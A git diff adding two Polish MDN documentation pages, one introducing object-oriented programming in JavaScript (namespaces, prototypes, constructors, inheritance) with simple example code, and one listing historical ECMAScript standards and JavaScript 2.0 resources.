diff --git a/files/pl/web/javascript/wprowadzenie_do_programowania_obiektowego_w_jezyku_javascript/index.html b/files/pl/web/javascript/wprowadzenie_do_programowania_obiektowego_w_jezyku_javascript/index.html
new file mode 100644
index 0000000000..7de2f98142
--- /dev/null
+++ b/files/pl/web/javascript/wprowadzenie_do_programowania_obiektowego_w_jezyku_javascript/index.html
@@ -0,0 +1,341 @@
+---
+title: Wprowadzenie do programowania obiektowego w języku JavaScript
+slug: Web/JavaScript/Wprowadzenie_do_programowania_obiektowego_w_jezyku_JavaScript
+translation_of: Learn/JavaScript/Objects
+---
+<p>JavaScript jest zorientowany obiektowo do szpiku kości dzięki potężnym, elastycznym możliwościom realizacji OOP. <span style="line-height: 1.5;">Ten artykuł zawiera wprowadzenie do programowania obiektowego (ogółem), analizuje model obiektowy w JavaScript i w końcu demonstruje aspekty programowania obiektowego w JavaScript.</span></p>
+
+<h2 id="JavaScript_Review" name="JavaScript_Review">Przegląd JavaScript</h2>
+
+<p>Jeśli nie czujesz się pewnie w zagadnieniach dotyczących JavaScript takich, jak zmienne, typy, funkcje oraz zasięg, możesz przeczytać o nich w <a href="/en/JavaScript/A_re-introduction_to_JavaScript" title="en/JavaScript/A_re-introduction_to_JavaScript">Ponownym wprowadzeniu do JavaScript (angielski)</a>. Możesz także zasięgnąć wiedzy zawartej w <a href="/en/JavaScript/Guide" title="en/JavaScript/Guide">Core JavaScript 1.5 Guide</a>.</p>
+
+<h2 id="Object-oriented_programming" name="Object-oriented_programming">Programowanie zorientowane obiektowo</h2>
+
+<p>Programowanie zorientowane obiektowo jest paradygmatem programowania, który korzysta z abstrakcji do tworzenia modeli opartych na świecie rzeczywistym. Stosuje on kilka technik z poprzednio ustanowionych paradygmatów, np. modułowość, polimorfizm czy enkapsulację. Obecnie wiele popularnych języków programowania (takich, jak Java, JavaScript, C#, C++, Python, PHP, Ruby i Objective-C) wspierają programowanie zorientowane obiektowo (OOP - z ang. "object-oriented programming").</p>
+
+<p>Programowanie zorientowane obiektowo może być rozumiane jako sposób projektowania oprogramowania stosujący kolekcję powiązanych ze sobą obiektów, w przeciwieństwie do tradycyjnego punktu widzenia, gdzie program może być rozumiany jako zestaw funkcji lub, po prostu, jako lista instrukcji przekazywanych do komputera. W OOP każdy obiekt jest zdolny odbierać wiadomości, przetwarzać dane i wysyłać wiadomości do innych obiektów. Każdy obiekt może być rozumiany jako niezależna mała maszyna pełniąca odrębną rolę lub odpowiedzialność.</p>
+
+<p><span style="line-height: 1.5;">Programowanie obiektowe ma na celu promować większą elastyczność i łatwość rozwoju w programowaniu. Jest ono bardzo popularne przy tworzeniu oprogramowania na dużą skalę. Dzięki silnemu naciskowi na modułowość, kod programu zorientowany obiektowo jest łatwiejszy do napisania i późniejszego zrozumienia, stając się łatwiejszym do bezpośredniej analizy, kodowania i rozumienia złożonych sytuacji i procedur niż mniej modułowe metody programowania.</span><sup><a href="#References">2</a></sup></p>
+
+<h2 id="Terminology" name="Terminology">Terminologia</h2>
+
+<dl>
+ <dt>Przestrzeń nazw (ang. "namespace")</dt>
+ <dd>Przestrzeń pozwalająca programiście na zawarcie wszystkich funkcjonalności pod unikalną nazwą, właściwą dla danej aplikacji.</dd>
+ <dt>Klasa (ang. "class")</dt>
+ <dd>Definiuje własności obiektu.</dd>
+ <dt>Obiekt (ang. "object")</dt>
+ <dd>Instancja (byt, twór) klasy.</dd>
+ <dt>Właściwość (ang. "property")</dt>
+ <dd>Własność obiektu, np. kolor.</dd>
+ <dt>Metoda (ang. "method")</dt>
+ <dd>Zdolność (czynność) obiektu, np. chodzenie (idź).</dd>
+ <dt>Konstruktor (ang. "constructor")</dt>
+ <dd>Metoda wywoływana w momencie inicjalizacji obiektu.</dd>
+ <dt>Dziedziczenie (ang. "inheritance")</dt>
+ <dd>Klasa może dziedziczyć własności od innej klasy.</dd>
+ <dt>Hermetyzacja (lub enkapsulacja - ang. "encapsulation")</dt>
+ <dd>Klasa definiuje tylko własności obiektu, podczas gdy metoda definiuje tylko sposób realizacji.</dd>
+ <dt>Abstrakcja (ang. "abstraction")</dt>
+ <dd>Koniunkcja złożonego dziedziczenia, metod, właściwości obiektu musi dobrze oddawać model rzeczywistości.</dd>
+ <dt>Polimorfizm (ang. "polymorphism")</dt>
+ <dd><em>Poli </em>znaczy "wiele", a <em>morfizm</em> oznacza "formy". Różne klasy mogą definiować takie same metody albo właściwości.</dd>
+</dl>
+
+<p>Bardziej obszerną definicję programowania obiektowego można znaleźć w <a href="http://pl.wikipedia.org/wiki/Programowanie_obiektowe">Programowaniu obiektowym</a> na Wikipedii.</p>
+
+<h2 id="Programowanie_oparte_na_prototypie">Programowanie oparte na prototypie</h2>
+
+<p>Programowanie prototypowe jest stylem programowania obiektowego, w którym klasy nie są obecne, a ponowne wykorzystanie zachowań (w językach opartych na klasach znane jako dziedziczenie) jest realizowane przez proces dekoracji istniejących obiektów, które służą jako prototypy. Ten model jest znany również jako programowanie "bezklasowe", "zorientowane prototypowo" lub "oparte na instancji".</p>
+
+<p>Oryginalnym (i najbardziej kanonicznym) przykładem języka opartego na prototypie jest język programowaina Self stworzony przez Davida Ungara i Randalla Smitha. Niemniej jednak, programowanie w stylu bezklasowym stało się ostatnimi czasy bardzo popularne i zostało zaimplementowane w takich językach, jak Javascript, Cecil, NewtonScript, Io, MOO, REBOL, Kevo, Squeak (podczas używania frameworka Viewer do manipulacji komponentami Morphic) i kilku innych.<sup><a href="#Reference">2</a></sup></p>
+
+<h2 id="JavaScript_Object_Oriented_Programming" name="JavaScript_Object_Oriented_Programming">OOP w języku JavaScript</h2>
+
+<h3 id="Przestrzeń_nazw">Przestrzeń nazw</h3>
+
+<p>Przestrzeń nazw jest pojemnikiem pozwalającym programiście na zawarcie wszystkich funkcjonalności pod unikalną nazwą, właściwą dla danej aplikacji. W JavaScript przestrzeń nazw jest po prostu obiektem przechowującym metody, właściwości i inne obiekty. Cel przyświecający przestrzeniom nazw w JavaScript jest prosty: utworzony zostaje jeden globalny obiekt, a wszystkie zmienne, metody i funkcje stają się właściwościami tego obiektu. Użycie przestrzeni nazw zmniejsza również ryzyko kolizji nazw w aplikacji.</p>
+
+<p>Obiekt jest przestrzenią nazw:<br>
+ <br>
+ Stwórzmy globalny obiekt o nazwie MYAPP</p>
+
+<pre class="brush: js">// globalna przestrzeń nazw
+var MYAPP = MYAPP || {};</pre>
+
+<p><span style="background-color: #ffffff; color: #4d4e53; font-style: normal; line-height: 1.5;">W powyższym przykładzie najpierw sprawdzamy czy MYAPP jest już zdefiniowany w tym samym lub innym pliku. Jeśli tak, używamy istniejącego globalnego obiektu MYAPP. W przeciwnym razie tworzymy pusty obiekt MYAPP, który zenkapsuluje metody, funkcje, zmienne i obiekty.</span></p>
+
+<p>Możemy również utworzyć podrzędną przestrzeń nazw:</p>
+
+<pre class="brush: js">// pod-przestrzeń nazw
+MYAPP.event = {};</pre>
+
+<p>Poniżej znajduje się kod tworzący przestrzeń nazw i dodający zmienne, funkcje i metody:</p>
+
+<pre class="brush: js">// Utwórz pojemnik MYAPP.commonMethod na typowe metody i właściwości
+MYAPP.commonMethod = {
+ regExForName: "", // zdefiniuj wyrażenie regularne do walidacji nazwiska
+ regExForPhone: "", // <span style="font-size: 1rem;">zdefiniuj wyrażenie regularne do walidacji numeru telefonu</span>
+ validateName: function(name){
+ // Zrób coś z nazwiskiem. Możesz użyć zmiennej regExForName
+ // użycie "this.regExForName"
+ },
+
+ validatePhoneNo: function(phoneNo){
+ // zrób coś z numerem telefonu
+ }
+}
+
+// Obiekt razem z deklaracją metod
+MYAPP.event = {
+ addListener: function(el, type, fn) {
+ // jakiś kod
+ },
+ removeListener: function(el, type, fn) {
+ // jakiś kod
+ },
+ getEvent: function(e) {
+ // jakiś kod
+ }
+
+ // Można dodać kolejne metody i właściwości
+}
+
+// Składnia do użycia metody AddListener:
+MYAPP.event.addListener("yourel", "type", callback);</pre>
+
+<h3 id="Core_Objects" name="Core_Objects">Obiekty wbudowane</h3>
+
+<p>JavaScript posiada kilka obiektów wbudowanych, na przykład Math, Object, Array, i String. Poniższy przykład pokazuje, jak użyć obiektu Math do pobrania pseudo-losowej liczby używając metody <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">random()</span><span style="line-height: 1.5;">.</span></p>
+
+<pre class="brush: js">alert(Math.random());
+</pre>
+
+<div class="note"><strong>Notka:</strong> Ten i wszystkie dalsze przykłady zakładają, że istnieje funkcja globalna <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">alert</span><span style="line-height: 1.5;"> (taka, jak ta zaimplementowana w przeglądarkach internetowych). Tak naprawdę funkcja </span><span style="font-family: 'Courier New','Andale Mono',monospace;">alert</span><span style="line-height: 1.5;"> nie jest częścią języka JavaScript.</span></div>
+
+<p>Artykuł <a href="/En/Core_JavaScript_1.5_Reference/Global_Objects" title="En/Core_JavaScript_1.5_Reference/Global_Objects">Core JavaScript 1.5 Reference:Global Objects</a> zawiera listę wszystkich obiektów wbudowanych w JavaScript.</p>
+
+<p>Każdy obiekt w JavaScript jest instancją obiektu <span style="font-family: 'Courier New','Andale Mono',monospace;">Object</span> i tym samym dziedziczy jego wszystkie właściwości i metody.</p>
+
+<h3 id="Custom_Objects" name="Custom_Objects">Własne obiekty</h3>
+
+<h4 id="The_Class" name="The_Class">Klasa</h4>
+
+<p>JavaScript jest językiem opartym na prototypie, w którym nie występuje pojęcie klasy, w przeciwieństwie do języków takich, jak C++ czy Java. Fakt ten bywa dezorientujący dla programistów przyzwyczajonych do języków z pojęciem klasy. Zamiast klas, JavaScript stosuje funkcje. Zdefiniowanie klasy ogranicza się do prostej czynności, jaką jest zdefiniowanie funkcji. W poniższym przykładzie definiujemy nową klasę Person.</p>
+
+<pre class="brush: js">function Person() { }
+or
+var Person = function(){ }
+</pre>
+
+<h4 id="The_Object_.28Class_Instance.29" name="The_Object_.28Class_Instance.29">Obiekt (instancja klasy)</h4>
+
+<p>Żeby utworzyć nową instancję obiektu <em>obj</em>, używamy wyrażenia <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">new </span><em>obj</em><span style="line-height: 1.5;">, przypisując jego wynik (który jest typu </span><em>obj</em><span style="line-height: 1.5;">) do zmiennej, żeby później mieć do niego dostęp.</span></p>
+
+<p>W poniższym przykładzie definiujemy klasę Person i tworzymy dwie instancje (person1 i person2).</p>
+
+<pre class="brush: js">function Person() { }
+var person1 = new Person();
+var person2 = new Person();
+</pre>
+
+<div class="note">Zobacz również <a href="/en/JavaScript/Reference/Global_Objects/Object/create" title="Object.create">Object.create</a>, który jest nową metodą instancjalizacji.</div>
+
+<h4 id="The_Constructor" name="The_Constructor">Konstruktor</h4>
+
+<p>Konstruktor jest wywoływany w momencie instancjalizacji (moment, w którym instancja obiektu zostaje utworzona). Konstruktor jest metodą klasy. W JavaScript, funkcja służy za konstruktor obiektu. Nie ma jednak wyraźnej potrzeby definiowania konstruktora. Każda akcja zadeklarowana w konstruktorze zostanie wykonana w momencie utworzenia obiektu.</p>
+
+<p>Konstruktor jest używany do ustawienia właściwości obiektu lub do wywołania metod przygotowujących obiekt do użytku.</p>
+
+<p>W poniższym przykładzie konstruktor klasy Person wyświetla ostrzeżenie w momencie kiedy Person zostaje utworzony.</p>
+
+<pre class="brush: js">function Person() {
+ alert('Person został utworzony');
+}
+
+var person1 = new Person();
+var person2 = new Person();
+</pre>
+
+<h4 id="The_Property_.28object_attribute.29" name="The_Property_.28object_attribute.29">Właściwość (atrybut obiektu)</h4>
+
+<p>Właściwości są zmiennymi zawartymi wewnątrz klasy. Każda instancja obiektu posiada te właściwości. Właściwości powinny być ustawiane we właściwości prototype klasy (funkcji), dzięki czemu dziedziczenie zadziała prawidłowo.</p>
+
+<p>Dostęp do właściwości z wnętrza klasy odbywa się za pomocą słowa kluczowego <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">this</span><span style="line-height: 1.5;">, które odnosi się do aktualnego obiektu. Dostęp (odczyt lub zapis) do właściwości poza klasą odbywa się za pomocą składni: NazwaInstancji.Wlasciwosc; jest to taka sama składnia, jak w językach C++, Java i szeregu innych języków.</span></p>
+
+<p>W poniższym przykładzie definiujemy właściwość <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">firstName</span><span style="line-height: 1.5;"> dla klasy </span><span style="font-family: 'Courier New','Andale Mono',monospace;">Person</span><span style="line-height: 1.5;"> i robimy to w momencie utworzenia obiektu.</span></p>
+
+<pre class="brush: js">function Person(firstName) {
+ this.firstName = firstName;
+ alert('Person instantiated');
+}
+
+var person1 = new Person('Alice');
+var person2 = new Person('Bob');
+
+// Pokaż właściwości firstName obiektów
+alert('person1 nazywa się ' + person1.firstName); // komunikat "person1 nazywa się Alice"
+alert('person2 nazywa się ' + person2.firstName); // komunikat "person2 nazywa się Bob"
+</pre>
+
+<h4 id="The_methods" name="The_methods">Metody</h4>
+
+<p>Metody opierają się na tej samej logice, co właściwości; różnica polega na tym, że są one funkcjami i definiuje się je jak funkcje. Wywołanie metody wygląda podobnie do wywołania właściwości, z tym, że dodajemy ( ) na końcu nazwy metody, czasami z argumentami. Żeby zdefiniować metodę, przypisujemy funkcję do jakiejś właściwości obiektu <span style="font-family: 'Courier New','Andale Mono',monospace;">prototype</span> klasy; nazwa właściwości staje się nazwą metody, po jakiej wywołamy ją na obiekcie.</p>
+
+<p>W poniższym przykładzie definiujemy i używamy metodę <span style="font-family: 'Courier New','Andale Mono',monospace;">sayHello()</span> dla klasy Person.</p>
+
+<pre class="brush: js">function Person(firstName) {
+ this.firstName = firstName;
+}
+
+Person.prototype.sayHello = function() {
+ alert("Hello, I'm " + this.firstName);
+};
+
+var person1 = new Person("Alice");
+var person2 = new Person("Bob");
+
+// wywołanie metody sayHello klasy Person
+person1.sayHello(); // komunikat "Hello, I'm Alice"
+person2.sayHello(); // komunikat "Hello, I'm Bob"
+</pre>
+
+<p>W JavaScript metody to zwykłe funkcje, które są przypisane do obiektu jako jego właściwości, dzięki czemu mogą być wywoływane w jego kontekście. Przyjrzyj się natępującemu przykładowi kodu:</p>
+
+<pre class="brush: js">function Person(firstName) {
+ this.firstName = firstName;
+}
+
+Person.prototype.sayHello = function() {
+ alert("Hello, I'm " + this.firstName);
+};
+
+var person1 = new Person("Alice");
+var person2 = new Person("Bob");
+var helloFunction = person1.sayHello;
+
+person1.sayHello(); // komunikat "Hello, I'm Alice"
+person2.sayHello(); // <span style="font-size: 1rem;">komunikat</span><span style="font-size: 1rem;"> "Hello, I'm Bob"</span>
+helloFunction(); // <span style="font-size: 1rem;">komunikat</span><span style="font-size: 1rem;"> "Hello, I'm undefined" (lub niepowodzenie</span>
+ // wyświetlające TypeError w trybie strict)
+alert(helloFunction === person1.sayHello); // <span style="font-size: 1rem;">komunikat</span><span style="font-size: 1rem;"> true</span>
+alert(helloFunction === Person.prototype.sayHello); // <span style="font-size: 1rem;">komunikat</span><span style="font-size: 1rem;"> true</span>
+helloFunction.call(person1); // <span style="font-size: 1rem;">komunikat</span><span style="font-size: 1rem;"> "Hello, I'm Alice"</span>
+</pre>
+
+<p>Jak pokazuje powyższy przykład, wszystkie odniesienia do funkcji <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">sayHello </span><span style="line-height: 1.5;">—</span><span style="line-height: 1.5;"> to w obiekcie person1, w </span><code style="font-style: normal; line-height: 1.5;">Person.prototype</code><span style="line-height: 1.5;">, w </span><code style="font-style: normal; line-height: 1.5;">helloFunction</code><span style="line-height: 1.5;">variable, itd. — dotyczą tej <em>samej funkcji</em>. W trakcie wywołania funkcji, wartość </span><span style="font-family: 'Courier New','Andale Mono',monospace;">this</span><span style="line-height: 1.5;"> zależy od tego, jak ją wywołamy. W typowym przypadku, gdzie wywołujemy funkcję jako metodę obiektu </span><span style="line-height: 1.5;">— </span><code style="font-style: normal; line-height: 1.5;">person1.sayHello()</code><span style="line-height: 1.5;"> — </span><code style="font-style: normal; line-height: 1.5;">this</code><span style="line-height: 1.5;"> odnosi się do obiektu, z którego funkcja pochodzi (person1), stąd </span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">person1.sayHello()</span><span style="line-height: 1.5;"> używa nazwy "Alice", a </span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">person2.sayHello() </span><span style="line-height: 1.5;">używa nazwy "Bob". Natomiast wywołanie funkcji ze zmiennej </span><span style="line-height: 1.5;">— </span><code style="font-style: normal; line-height: 1.5;">helloFunction()</code><span style="line-height: 1.5;"> —</span><span style="line-height: 1.5;"> ustawia </span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">this</span><span style="line-height: 1.5;"> na obiekt globalny (</span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">window</span><span style="line-height: 1.5;"> w przypadku przeglądarek). Ponieważ ten obiekt najprawdopodobniej nie posiada właściwości </span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">firstName</span><span style="line-height: 1.5;">, ostatecznie otrzymujemy komunikat "Hello, I'm undefined". (Tak będzie w trybie loose; byłoby inaczej [błąd] w <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">trybie strict</a>, ale nie będziemy go tutaj opisywać, żeby nie wprowadzać zamieszania). Możemy też ustawić </span><span style="font-family: 'Courier New','Andale Mono',monospace;">this</span><span style="line-height: 1.5;"> wedle uznania, używając funkcji </span><span style="font-family: 'Courier New','Andale Mono',monospace;">call</span><span style="line-height: 1.5;"> (lub </span><span style="font-family: 'Courier New','Andale Mono',monospace;">apply</span><span style="line-height: 1.5;">), tak jak pokazuje ostatni przykład.</span></p>
+
+<div class="note">Więcej na temat <span style="font-family: 'Courier New','Andale Mono',monospace;">this</span> w <a href="/en/JavaScript/Reference/Global_Objects/Function/call" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Function/call">Function#call</a> oraz <a href="/en/JavaScript/Reference/Global_Objects/Function/apply" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Function/apply">Function#apply</a></div>
+
+<h4 id="Inheritance" name="Inheritance">Dziedziczenie</h4>
+
+<p>Dziedziczenie jest sposobem na stworzenie klasy jako specjalistycznej wersji jednej lub większej ilości klas (<em>JavaScript wspiera tylko dziedziczenie pojedyncze</em>). Taka wyspecjalizowana klasa jest często nazywana <em>dzieckiem</em>, natomiast ta druga — <em>rodzicem</em>. W JavaScript osiąga się to poprzez przypisanie klasy rodzica do klasy dziecka, a następnie wyspecjalizowaniu jej. W nowoczesnych przeglądarkach można również użyć <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/create#Classical_inheritance_with_Object.create" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/create#Classical_inheritance_with_Object.create">Object.create</a> do implementacji dziedziczenia.</p>
+
+<div class="note">
+<p>JavaScript nie wykrywa właściwości klasy dziecka <code>prototype.constructor</code> (zobacz <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/prototype">Core JavaScript 1.5 Reference:Global Objects:Object:prototype</a>), więc musimy tego dokonać ręcznie.</p>
+</div>
+
+<p>W poniższym przykładzie definiujemy klasę <code>Student</code> jako dziecko klasy <code>Person</code>. Następnie definiujemy ponownie metodę <code>sayHello()</code> oraz dodajemy metodę <code>sayGoodBye()</code>.</p>
+
+<pre class="brush: js">// Definicja konstruktora Person
+function Person(firstName) {
+ this.firstName = firstName;
+}
+
+// Dodajemy kilka metod do Person.prototype
+Person.prototype.walk = function(){
+ alert("I am walking!");
+};
+Person.prototype.sayHello = function(){
+ alert("Hello, I'm " + this.firstName);
+};
+
+// Definiujemy konstruktor
+function Student(firstName, subject) {
+ // Wywołujemy konstruktor rodzica (używając Function#call) upewniając się, że "this"
+ // <span style="font-size: 1rem;">zostanie ustawione poprawnie podczas wywołania</span>
+ Person.call(this, firstName);
+
+ // inicjalizujemy właściwości odpowiednie dla studenta
+ this.subject = subject;
+};
+
+// Tworzymy obiekt Student.prototype, który dziedziczy po Person
+// Uwaga: Typowym błędem w takich przypadkach jest użycie "new Person()" do utworzenia Student.prototype.
+// Jest to niepoprawne z kilku powodów, nie wspominając o tym,
+// Nie mielibyśmy jakiej wartości podać jako argument "firstName".
+// Prawidłowym miejscem na wywołanie konstruktora Person jest to powyżej, w konstruktorze Student
+Student.prototype = Object.create(Person.prototype);
+
+// Ustawiamy właściwość "constructor" na obiekt Student
+Student.prototype.constructor = Student;
+
+// Zmieniamy metodę "sayHello"
+Student.prototype.sayHello = function(){
+ alert("Hello, I'm " + this.firstName + ". I'm studying " + this.subject + ".");
+};
+
+// Dodajemy metodę "sayGoodBye"
+Student.prototype.sayGoodBye = function(){
+ alert("Goodbye!");
+};
+
+// Przykład użycia:
+var student1 = new Student("Janet", "Applied Physics");
+student1.sayHello(); // "Hello, I'm Janet. I'm studying Applied Physics."
+student1.walk(); // "I am walking!"
+student1.sayGoodBye(); // "Goodbye!"
+
+// sprawdzamy poprawność działania "instanceof"
+alert(student1 instanceof Person); // true
+alert(student1 instanceof Student); // true
+</pre>
+
+<p>Jeśli chodzi o linię <code>Student.prototype = Object.create(Person.prototype);</code> w starszych silnikach JavaScript, nie posiadających metody <a href="/en/JavaScript/Reference/Global_Objects/Object/create" title="Object.create"><code>Object.create</code></a>, można użyć tzw. "polyfill" (aka "shim", patrz artykuł powyżej), czyli funkcję, która stanowi swego rodzaju łatkę zapewniającą kompatybilność wsteczną danej funkcjonalności. Można też samemu napisać funkcję dającą taki sam efekt:</p>
+
+<pre class="brush: js">function createObject(proto) {
+ function ctor() { }
+ ctor.prototype = proto;
+ return new ctor();
+}
+
+// Przykład użycia:
+Student.prototype = createObject(Person.prototype);
+</pre>
+
+<div class="note">Zobacz <a href="/en/JavaScript/Reference/Global_Objects/Object/create" title="Object.create">Object.create</a>, żeby poznać wszystkie jego możliwości oraz znaleźć łatkę dla starszych silników JavaScript.</div>
+
+<h4 id="Encapsulation" name="Encapsulation">Enkapsulacja (hermetyzacja)</h4>
+
+<p>W poprzednim przykładzie klasa <code>Student</code> nie musiała wiedzieć, w jaki sposób metoda <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">walk()</span><span style="line-height: 1.5;"> klasy </span><code style="font-style: normal; line-height: 1.5;">Person</code><span style="line-height: 1.5;"> została zaimplementowana</span><span style="line-height: 1.5;">, ale wciąż mogła jej używać; klasa </span><code style="font-style: normal; line-height: 1.5;">Student</code><span style="line-height: 1.5;"> nie musi ponownie definiować tej metody, dopóki nie chcemy jej zmienić. To zjawisko nazywamy </span><strong style="line-height: 1.5;">enkapsulacją</strong><span style="line-height: 1.5;">, czyli każda klasa dziedziczy metody swojego rodzica i definiuje własne tylko wtedy, gdy chce coś zmienić.</span></p>
+
+<h4 id="Abstraction" name="Abstraction">Abstrakcja</h4>
+
+<p>Abstrakcja jest mechanizmem, który pozwala modelować aktualnie rozpatrywany problem. Może to być osiągane przez dziedziczenie (specjalizację) lub kompozycję. JavaScript osiąga specjalizację dzięki dziedziczeniu, a kompozycję dzięki umożliwieniu instancjom klas bycie wartościami atrybutów innych obiektów.</p>
+
+<p>Klasa Function w JavaScript dziedziczy po klasie Object (jest to przykład specjalizacji modelu), natomiast właściwość Function.prototype jest instancją Object (co z kolei jest przykładem kompozycji).</p>
+
+<pre class="brush: js">var foo = function(){};
+alert( 'foo is a Function: ' + (foo instanceof Function) );
+alert( 'foo.prototype is an Object: ' + (foo.prototype instanceof Object) );
+</pre>
+
+<h4 id="Polymorphism" name="Polymorphism">Polimorfizm</h4>
+
+<p>Tak, jak wszystkie metody i właściwości są zdefiniowane wewnątrz właściwości <code>prototype</code>, tak różne klasy mogą definiować metody z tą samą nazwą; metody mają zasięg ograniczony do klasy, w której zostały zdefiniowane. Ma to rację bytu tylko w przypadku, gdy dwie klasy nie są w relacji rodzic-dziecko (kiedy jedna nie dziedziczy po drugiej w łańcuchu dziedziczenia).</p>
+
+<h2 id="Notes" name="Notes">Uwagi</h2>
+
+<p>Techniki implementacji programowania zorientowanego obiektowo zaprezentowane w tym artykule nie są jedynymi, jakie umożliwia JavaScript, dzięki czemu sposób osiągnięcia programowania obiektowego jest w tym języku bardzo elastyczny.</p>
+
+<p>Techniki tutaj przedstawione nie zawierają żadnych sztuczek językowych, ani nie próbują naśladować implementacji teorii obiektowości z innych języków.</p>
+
+<p>Istnieją inne techniki, które czynią programowanie obiektowe w JavaScript jeszcze bardziej zaawansowanym, jednak są one poza zasięgiem tego artykułu wprowadzającego.</p>
+
+<h2 id="References" name="References">Przypisy</h2>
+
+<ol>
+ <li>Mozilla. "<a href="/docs/Web/JavaScript/Guide" title="/docs/Web/JavaScript/Guide">Core JavaScript 1.5 Guide</a>", https://developer.mozilla.org/docs/Web/JavaScript/Guide</li>
+ <li>Wikipedia. "Object-oriented programming", <a class="external" href="http://en.wikipedia.org/wiki/Object-oriented_programming" rel="freelink">http://en.wikipedia.org/wiki/Object-...ed_programming</a></li>
+ <li><a href="http://davidwalsh.name/javascript-objects">OOP JavaScript Overview</a> series by Kyle Simpson</li>
+</ol>
diff --git a/files/pl/web/javascript/zasoby_języka_javascript/index.html b/files/pl/web/javascript/zasoby_języka_javascript/index.html
new file mode 100644
index 0000000000..c53fd0fd2a
--- /dev/null
+++ b/files/pl/web/javascript/zasoby_języka_javascript/index.html
@@ -0,0 +1,48 @@
+---
+title: Zasoby języka JavaScript
+slug: Web/JavaScript/Zasoby_języka_JavaScript
+tags:
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Language_Resources
+---
+<p>
+</p>
+<h3 id="JavaScript_1.x" name="JavaScript_1.x">JavaScript 1.x</h3>
+<p>ECMAScript jest nazwą używaną dla JavaScriptu ustandaryzowanego przez komitet TC39 <a class="external" href="http://www.ecma-international.org/">organizacji standardów ECMA</a>. Poniższe standardy ECMAScript zostały zatwierdzone:
+</p>
+<table class="standard-table"> <tbody><tr> <th>Nazwa</th> <th>Odnośniki</th> <th>Data</th> <th>Opis</th> </tr> <tr> <td>ECMA-262</td> <td><a class="external" href="http://www.mozilla.org/js/language/E262.pdf">PDF</a></td> <td>Czerwiec 1997</td> <td>Oryginalny standard ECMAScript.</td> </tr> <tr> <td>2 Edycja ECMA-262</td> <td><a class="external" href="http://www.mozilla.org/js/language/E262-2.pdf">PDF</a></td> <td>Sierpień 1998</td> <td>Druga wersja standardu ECMAScript; również standard ISO 16262.</td> </tr> <tr> <td>3 Edycja ECMA-262</td> <td><a class="external" href="http://www.mozilla.org/js/language/E262-3.pdf">PDF</a> <a class="external" href="http://www.mozilla.org/js/language/E262-3.doc">Word</a></td> <td>Grudzień 1999</td> <td>Trzecia i najbardziej aktualna wersja standardu ECMAScript; nawiązuje do JavaScript 1.5.<br> Zobacz także <a class="external" href="http://www.mozilla.org/js/language/E262-3-errata.html">erratę</a>.</td> </tr> <tr> <td>ECMA-357</td> <td><a class="external" href="http://www.mozilla.org/js/language/ECMA-357.pdf">PDF</a></td> <td>Czerwiec 2004</td> <td>ECMAScript dla XML (E4X).<br> Zobacz także <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=169406">erratę E4X</a>.</td> </tr>
+</tbody></table>
+<h3 id="JavaScript_2.0_i_4_edycja_ECMAScript" name="JavaScript_2.0_i_4_edycja_ECMAScript">JavaScript 2.0 i 4 edycja ECMAScript</h3>
+<h4 id="Bie.C5.BC.C4.85ce_informacje" name="Bie.C5.BC.C4.85ce_informacje"> Bieżące informacje</h4>
+<p>Nowe: myśl przewodnia Brendana <a class="external" href="http://www.mozilla.org/js/language/ICFP-Keynote.ppt">JavaScript at Ten Years</a> <small>(Powerpoint)</small> na konferencję <a class="external" href="http://www.brics.dk/~danvy/icfp05/">ACM ICFP 2005</a>.
+</p><p>Obecne prace nad czwartą edycją ECMAScript są okresowe wysyłane na <a class=" external" href="http://developer.mozilla.org/es4/" rel="freelink">http://developer.mozilla.org/es4/</a>
+</p>
+<h4 id="Informacje_historyczne" name="Informacje_historyczne"> Informacje historyczne </h4>
+<div class="warning">
+<p>Informacje w tym fragmencie są przestarzałe.
+</p>
+</div>
+<p>Zobacz <a class="external" href="http://www.mozilla.org/js/language/js20/index.html">stronę JavaScript 2.0</a>, aby obejrzeć propozycję Netscapa dotyczącą kolejnej wersji języka JavaScript. Wszystkie informacje tam zawarte są w zasadzie jedynie wstępem i niekoniecznie wskazują konkretne funkcje, które zostaną zaimplementowane w przyszłości. Pracujemy w ramach ECMA TC39, aby koordynować i ustandaryzować proponowane zmiany.
+</p><p>Zobacz stronę <a class="external" href="http://www.mozilla.org/js/language/es4/index.html">4 edycji ECMAScript</a>, aby dowiedzieć się o pokrewnej Netscapowi propozycji kolejnej wersji standardu ECMAScript.
+</p><p>Waldemar jest twórcą 4 edycji standardu ECMA-262 zaproponowanej na rok 2002. Niekompletny szkic ECMA TC39, będący w trakcie konstrukcji, jest dostępny tutaj w formacie PDF.
+</p><p>Waldemar zaprezentował wykład na temat JavaScriptu 2.0 na <a class="external" href="http://ll1.ai.mit.edu/">konferencji LL1</a> na MIT. Sprawdź odnośnik agendy, aby uzyskać slajdy z wykładu.
+</p><p>Waldemar zaprezentował druk <a class="external" href="http://www.mozilla.org/js/language/evolvingJS.pdf">"JavaScript 2.0: Evolving a Language for Evolving Systems?"</a><small> (PDF)</small> oraz wykład na temat JavaScriptu 2.0 (<a class="external" href="http://www.mozilla.org/js/language/evolvingJSTalk.ppt">slajdy PowerPoint</a>) na <a class="external" href="http://www.machack.com/">MacHack 2002</a>. Opisują one niektóre z cech języka JavaScript 2.0 i uzasadnienie ich wyboru i konkretnego użycia.
